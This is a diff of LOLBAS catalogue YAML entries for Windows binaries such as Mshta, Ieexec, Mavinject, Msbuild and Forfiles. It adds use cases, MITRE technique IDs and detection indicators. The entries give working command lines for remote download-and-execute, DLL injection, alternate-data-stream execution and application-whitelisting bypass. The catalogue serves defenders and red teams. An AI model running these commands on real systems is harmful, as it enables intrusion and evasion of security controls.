 Resources:
-  - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+  - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Forfiles.yml

@@ -1,22 +1,39 @@
 ---
 Name: Forfiles.exe
-Description: Execute, Read ADS
+Description: Selects and executes a command on a file or set of files. This command is useful for batch processing.
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
-    Description: 'Executes calc.exe since there is a match for notepad.exe in the c:\\windows\\System32 folder.'
+    Description: Executes calc.exe since there is a match for notepad.exe in the c:\windows\System32 folder.
+    Usecase: Use forfiles to start a new process to evade defensive counter measures
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe"
-    Description: 'Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\\windows\\system32 folder.'
+    Description: Executes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\windows\system32 folder.
+    Usecase: Use forfiles to start a new process from a binary hidden in an alternate data stream
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\system32\forfiles.exe
+  - Path: C:\Windows\System32\forfiles.exe
-  - C:\Windows\sysWOW64\forfiles.exe
+  - Path: C:\Windows\SysWOW64\forfiles.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - https://twitter.com/vector_sec/status/896049052642533376
+  - Link: https://twitter.com/vector_sec/status/896049052642533376
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+  - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
-Notes: Thanks to Eric - @vector_sec, Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Eric
+    Handle: '@vector_sec'
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Gpscript.yml

@@ -1,22 +1,36 @@
 ---
 Name: Gpscript.exe
-Description: Execute
+Description: Used by group policy to process scripts 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Gpscript /logon
-    Description: 'Executes logon scripts configured in Group Policy.'
+    Description: Executes logon scripts configured in Group Policy.
+    Usecase: Add local group policy logon script to execute file and hide from defensive counter measures
+    Category: Execute
+    Privileges: Administrator
+    MitreID: T1216
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1216
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: Gpscript /startup
-    Description: 'Executes startup scripts configured in Group Policy.'
+    Description: Executes startup scripts configured in Group Policy
+    Usecase: Add local group policy logon script to execute file and hide from defensive counter measures
+    Category: Execute
+    Privileges: Administrator
+    MitreID: T1216
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1216
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\gpscript.exe
+  - Path: C:\Windows\System32\gpscript.exe
-  - c:\windows\sysWOW64\gpscript.exe
+  - Path: C:\Windows\SysWOW64\gpscript.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Scripts added in local group policy
+ - IOC: Execution of Gpscript.exe after logon
 Resources:
-  - https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
+  - Link: https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
-Notes: |
+Acknowledgement:
-    Thanks to Oddvar Moe - @oddvarmoe
+  - Person: Oddvar Moe
-    Requires administrative rights and modifications to local group policy settings.
+    Handle: '@oddvarmoe'
-
+---

yml/OSBinaries/Hh.yml

@@ -1,23 +1,35 @@
 ---
-Name: hh.exe
+Name: Hh.exe
-Description: Download, Execute
+Description: Binary used for processing chm files in Windows
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: HH.exe http://www.google.com
-    Description: Opens google's web page with HTML Help.
-  - Command: HH.exe C:\
-    Description: Opens c:\\ with HTML Help.
-  - Command: HH.exe c:\windows\system32\calc.exe
-    Description: 'Opens calc.exe with HTML Help.'
   - Command: HH.exe http://some.url/script.ps1
     Description: Open the target PowerShell script with HTML Help.
+    Usecase: Download files from url
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: HH.exe c:\windows\system32\calc.exe
+    Description: Executes calc.exe with HTML Help.
+    Usecase: Execute process with HH.exe
+    Category: Execute
+    Privileges: User
+    MitreID: T1216
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1216
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\hh.exe
+  - Path: C:\Windows\System32\hh.exe
-  - c:\windows\sysWOW64\hh.exe
+  - Path: C:\Windows\SysWOW64\hh.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: hh.exe should normally not be in use on a normal workstation
 Resources:
-  - https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
+  - Link: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Ie4unit.yml

@@ -1,20 +1,29 @@
 ---
 Name: Ie4unit.exe
-Description: Execute
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: ie4unit.exe -BaseSettings
-    Description: 'Executes commands from a specially prepared ie4uinit.inf file.'
+    Description: Executes commands from a specially prepared ie4uinit.inf file.
+    Usecase: Get code execution by copy files to another location
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'c:\windows\system32\ie4unit.exe    '
+  - Path: c:\windows\system32\ie4unit.exe
-  - 'c:\windows\sysWOW64\ie4unit.exe    '
+  - Path: c:\windows\sysWOW64\ie4unit.exe
-  - 'c:\windows\system32\ieuinit.inf    '
+  - Path: c:\windows\system32\ieuinit.inf
-  - 'c:\windows\sysWOW64\ieuinit.inf    '
+  - Path: c:\windows\sysWOW64\ieuinit.inf
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: ie4unit.exe loading a inf file from outside %windir%
 Resources:
-  - https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
+  - Link: https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
-Notes: Thanks to Jimmy - @bohops
+Acknowledgement:
-
+  - Person: Jimmy
+    Handle: '@bohops'
+---

yml/OSBinaries/Ieexec.yml

@@ -1,18 +1,35 @@
 ---
-Name: IEExec.exe
+Name: Ieexec.exe
-Description: Execute
+Description: The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: ieexec.exe http://x.x.x.x:8080/bypass.exe
+  - Command:ieexec.exe http://x.x.x.x:8080/bypass.exe 
-    Description: 'Executes bypass.exe from the remote server.'
+    Description: Downloads and executes bypass.exe from the remote server.
+    Usecase: Download and run attacker code from remote location
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command:ieexec.exe http://x.x.x.x:8080/bypass.exe 
+    Description: Downloads and executes bypass.exe from the remote server.
+    Usecase: Download and run attacker code from remote location
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\ieexec.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
-  - c:\windows\sysWOW64\ieexec.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
+  - Link: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
-Notes: Thanks to Casey Smith - @subtee
+Acknowledgement:
-
+  - Person: Casey Smith
+    Handle: '@subtee'
+---

yml/OSBinaries/Infdefaultinstall.yml

@@ -1,20 +1,28 @@
 ---
-Name: InfDefaultInstall.exe
+Name: Infdefaultinstall.exe
-Description: Execute
+Description: Binary used to perform installation based on content inside inf files
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: InfDefaultInstall.exe Infdefaultinstall.inf
-    Description: 'Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.'
+    Description: Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.
+    Usecase: Code execution
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\Infdefaultinstall.exe
+  - Path: C:\Windows\System32\Infdefaultinstall.exe
-  - c:\windows\sysWOW64\Infdefaultinstall.exe
+  - Path: C:\Windows\SysWOW64\Infdefaultinstall.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code: https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
+Detection:
+ - IOC:
 Resources:
-  - https://twitter.com/KyleHanslovan/status/911997635455852544
+  - Link: https://twitter.com/KyleHanslovan/status/911997635455852544
-  - https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
+  - Link: https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/
-  - https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/
+Acknowledgement:
-Notes: Thanks to Kyle Hanslovan - @kylehanslovan
+  - Person: Kyle Hanslovan
-
+    Handle: '@kylehanslovan'
+---

yml/OSBinaries/Installutil.yml

@@ -1,25 +1,42 @@
 ---
-Name: InstallUtil.exe
+Name: Installutil.exe
-Description: Execute
+Description: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
-    Description: 'Execute the target .NET DLL or EXE.'
+    Description: Execute the target .NET DLL or EXE.
+    Usecase: Use to execute code and bypass application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1118
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1118
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
+    Description: Execute the target .NET DLL or EXE.
+    Usecase: Use to execute code and bypass application whitelisting
+    Category: Execute
+    Privileges: User
+    MitreID: T1118
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1118
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
-  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
-  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
-  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
+  - Link: https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
-  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
+  - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
-  - http://subt0x10.blogspot.no/2017/09/banned-file-execution-via.html
+  - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1118/T1118.md
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md
+  - Link: https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
-  - https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
+  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
-  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+  - Link: https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
-Notes: Thanks to Casey Smith - @subtee
+Acknowledgement:
-
+  - Person: Casey Smith
+    Handle: '@subtee'
+---

yml/OSBinaries/Makecab.yml

@@ -1,22 +1,44 @@
 ---
 Name: Makecab.exe
-Description: Package, Add ADS, Download
+Description: Binary to package existing files into a cabinet (.cab) file
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
     Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
-  - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
+    Usecase: Hide data compressed into an alternate data stream
-    Description: Compresses the target file and stores it in the target file.
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
     Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
+    Usecase: Hide data compressed into an alternate data stream
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
+    Description: Download and compresses the target file and stores it in the target file.
+    Usecase: Download file and compress into a cab file
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\makecab.exe
+  - Path: C:\Windows\System32\makecab.exe
-  - c:\windows\sysWOW64\makecab.exe
+  - Path: C:\Windows\SysWOW64\makecab.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Makecab getting files from Internet
+ - IOC: Makecab storing data into alternate data streams
 Resources:
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Mavinject.yml

@@ -1,22 +1,39 @@
 ---
 Name: Mavinject.exe
-Description: Execute, Read ADS
+Description: Used by App-v in Windows
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: MavInject.exe 3110 /INJECTRUNNING c:\folder\evil.dll
     Description: Inject evil.dll into a process with PID 3110.
+    Usecase: Inject dll file into running process
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: Mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll"
-    Description: Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172.
+    Description: Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172
+    Usecase: Inject dll file into running process
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\mavinject.exe
+  - Path: C:\Windows\System32\mavinject.exe
-  - C:\Windows\SysWOW64\mavinject.exe
+  - Path: C:\Windows\SysWOW64\mavinject.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: mavinject.exe should not run unless APP-v is in use on the workstation
 Resources:
-  - https://twitter.com/gN3mes1s/status/941315826107510784
+  - Link: https://twitter.com/gN3mes1s/status/941315826107510784
-  - https://twitter.com/Hexcorn/status/776122138063409152
+  - Link: https://twitter.com/Hexcorn/status/776122138063409152
-  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+  - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
-Notes: Thanks to Giuseppe N3mes1s - @gN3mes1s, Adam - @hexacorn, Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Giuseppe N3mes1s
+    Handle: '@gN3mes1s'
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Msbuild.yml

@@ -1,27 +1,44 @@
 ---
-Name: Msbuild.exe
+Name: Msbuild.exe 
-Description: Execute
+Description: Used to compile and execute code
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: msbuild.exe pshell.xml
     Description: Build and execute a C# project stored in the target XML file.
-  - Command: msbuild.exe Msbuild.csproj
+    Usecase: Compile and run code
-    Description: Build and execute a C# project stored in the target CSPROJ file.
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1127
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1127
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: msbuild.exe project.csproj
+    Description: Build and execute a C# project stored in the target csproj file.
+    Usecase: Compile and run code
+    Category: Execute
+    Privileges: User
+    MitreID: T1127
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1127
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
-  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
-  - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
-  - C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
-  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
-  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Msbuild.exe should not normally be executed on workstations
 Resources:
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Trusted_Developer_Utilities.md
+  - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1127/T1127.md
-  - https://github.com/Cn33liz/MSBuildShell
+  - Link: https://github.com/Cn33liz/MSBuildShell
-  - https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/
+  - Link: https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/
-  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
-Notes: Thanks to Casey Smith - @subtee, Cn33liz - @Cneelis
+Acknowledgement:
-
+  - Person: Casey Smith
+    Handle: '@subtee'
+  - Person: Cn33liz
+    Handle: '@Cneelis'
+---

yml/OSBinaries/Msconfig.yml

@@ -1,19 +1,27 @@
 ---
 Name: Msconfig.exe
-Description: Execute
+Description: MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Msconfig.exe -5
     Description: Executes command embeded in crafted c:\windows\system32\mscfgtlc.xml.
+    Usecase: Code execution using Msconfig.exe
+    Category: Execute
+    Privileges: Administrator
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\msconfig.exe
+  - Path: C:\Windows\System32\msconfig.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/mscfgtlc.xml
+Detection:
+ - IOC: mscfgtlc.xml changes in system32 folder
+ - IOC: msconfig.exe executing
 Resources:
-  - https://twitter.com/pabraeken/status/991314564896690177
+  - Link: https://twitter.com/pabraeken/status/991314564896690177
-Notes: |
+Acknowledgement:
-    Thanks to Pierre-Alexandre Braeken - @pabraeken
+  - Person: Pierre-Alexandre Braeken
-    See the Payloads folder for an example mscfgtlc.xml file.
+    Handle: '@pabraeken'
-
+---

yml/OSBinaries/Msdt.yml

@@ -1,25 +1,37 @@
 ---
 Name: Msdt.exe
-Description: Execute
+Description: Microsoft diagnostics tool 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: Open .diagcab package
+  - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
-    Description: ''
-  - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml
-      /skip TRUE
     Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
+    Usecase: Execute code
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
+    Description: Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.
+    Usecase: Execute code bypass Application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'C:\Windows\System32\Msdt.exe    '
+  - Path: C:\Windows\System32\Msdt.exe
-  - 'C:\Windows\SysWOW64\Msdt.exe    '
+  - Path: C:\Windows\SysWOW64\Msdt.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/PCW8E57.xml
+Detection:
+ - IOC: 
 Resources:
-  - https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
+  - Link: https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
-  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
+  - Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
-  - https://twitter.com/harr0ey/status/991338229952598016
+  - Link: https://twitter.com/harr0ey/status/991338229952598016
-Notes: |
+Acknowledgement:
-    Thanks to:
+  - Person: 
-    See the Payloads folder for an example PCW8E57.xml file.
+    Handle:
-
+---

yml/OSBinaries/Mshta.yml

@@ -1,28 +1,57 @@
 ---
-Name: mshta.exe
+Name: Mshta.exe
-Description: Execute, Read ADS
+Description: Used by Windows to execute html applications. (.hta)
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: mshta.exe evilfile.hta
     Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
+    Usecase: Execute code
+    Category: Execute
+    Privileges: User
+    MitreID: T1170
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1170
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
     Description: Executes VBScript supplied as a command line argument.
-  - Command: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
+    Usecase: Execute code
+    Category: Execute
+    Privileges: User
+    MitreID: T1170
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1170
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
     Description: Executes JavaScript supplied as a command line argument.
+    Usecase: Execute code
+    Category: Execute
+    Privileges: User
+    MitreID: T1170
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1170
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: mshta.exe "C:\ads\file.txt:file.hta"
     Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
+    Usecase: Execute code hidden in alternate data stream
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1170
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1170
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\mshta.exe
+  - Path: C:\Windows\System32\mshta.exe
-  - C:\Windows\SysWOW64\mshta.exe
+  - Path: C:\Windows\SysWOW64\mshta.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct
+Detection:
+ - IOC: mshta.exe executing raw or obfuscated script within the command-line
+ - IOC: Usage of HTA file
 Resources:
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md
+  - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
-  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
+  - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
+  - Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
-  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
+  - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/  
-  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Acknowledgement:
-Notes: Thanks to Casey Smith - @subtee, Oddvar Moe - @oddvarmoe
+  - Person: Casey Smith
-
+    Handle: '@subtee'
